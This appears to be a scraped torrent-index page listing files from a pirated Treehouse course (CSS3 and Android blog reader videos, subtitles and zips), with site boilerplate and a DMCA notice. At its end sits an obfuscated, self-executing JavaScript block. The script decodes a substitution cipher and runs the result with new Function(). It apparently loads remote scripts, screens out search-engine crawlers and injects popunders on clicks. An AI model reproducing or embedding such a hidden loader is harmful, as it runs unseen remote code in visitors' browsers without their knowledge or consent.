"Bonus/3. CSS3 Master Class/2. Design/Design.mp4", "length": 10405803}, {"path": "Bonus/3. CSS3 Master Class/2. Design/Design.srt", "length": 8873}, {"path": "Bonus/3. CSS3 Master Class/2. Design/MasterClass-CSS3.zip", "length": 565764}, {"path": "Bonus/3. CSS3 Master Class/3. HTML/HTML.mp4", "length": 13943837}, {"path": "Bonus/3. CSS3 Master Class/3. HTML/HTML.srt", "length": 11378}, {"path": "Bonus/3. CSS3 Master Class/3. HTML/MasterClass-CSS3.zip", "length": 565764}, {"path": "Bonus/3. CSS3 Master Class/4. CSS/CSS.mp4", "length": 40872309}, {"path": "Bonus/3. CSS3 Master Class/4. CSS/CSS.srt", "length": 32969}, {"path": "Bonus/3. CSS3 Master Class/4. CSS/MasterClass-CSS3.zip", "length": 565764}, {"path": "Bonus/3. CSS3 Master Class/5. Problem Solving/MasterClass-CSS3.zip", "length": 565764}, {"path": "Bonus/3. CSS3 Master Class/5. Problem Solving/Problem Solving.mp4", "length": 16623500}, {"path": "Bonus/3. CSS3 Master Class/5. Problem Solving/Problem Solving.srt", "length": 6967}, {"path": "Bonus/3. CSS3 Master Class/6. jQuery/jQuery.mp4", "length": 15548416}, {"path": "Bonus/3. CSS3 Master Class/6. jQuery/jQuery.srt", "length": 12966}, {"path": "Bonus/3. CSS3 Master Class/6. jQuery/MasterClass-CSS3.zip", "length": 565764}, {"path": "Bonus/3. CSS3 Master Class/7. Polish/MasterClass-CSS3.zip", "length": 565764}, {"path": "Bonus/3. CSS3 Master Class/7. Polish/Polish.mp4", "length": 12591541}, {"path": "Bonus/3. CSS3 Master Class/7. Polish/Polish.srt", "length": 6757}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/1. Blog Reader Project Overview/android_island2_stage1_end.zip", "length": 949301}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/1. Blog Reader Project Overview/Blog Reader Project Overview.mp4", "length": 24267954}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/1. Blog Reader Project Overview/Blog Reader Project Overview.srt", "length": 4257}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/2. Creating a Project Using the Master-Detail Template/android_island2_stage1_end(1).zip", "length": 949301}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/2. Creating a Project Using the Master-Detail Template/Creating a Project Using the Master-Detail Template.mp4", "length": 22328491}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/2. Creating a Project Using the Master-Detail Template/Creating a Project Using the Master-Detail Template.srt", "length": 11289}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/3. The Model-View-Controller (MVC) Design Pattern /android_island2_stage1_end(2).zip", "length": 949301}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/3. The Model-View-Controller (MVC) Design Pattern /The Model-View-Controller (MVC) Design Pattern .mp4", "length": 45168131}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/3. The Model-View-Controller (MVC) Design Pattern /The Model-View-Controller (MVC) Design Pattern .srt", "length": 9060}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/4. Exploring the Master-Detail Template/android_island2_stage1_end.zip", "length": 949301}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/4. Exploring the Master-Detail Template/Exploring the Master-Detail Template.mp4", "length": 21678092}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/4. Exploring the Master-Detail Template/Exploring the Master-Detail Template.srt", "length": 9976}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/5. Adding More Test Data/Adding More Test Data.mp4", "length": 25028572}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/5. Adding More Test Data/Adding More Test Data.srt", "length": 10359}, {"path": "Build a Blog Reader Android App/1. Exploring the Master-Detail Template/5. Adding More Test Data/android_island2_stage1_end.zip", "length": 949301}, {"path": "Build a Blog Reader Android App/2. Rebuilding from Scratch/1. Creating the

Download Info

  • Tips

    “teamtreehouse” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();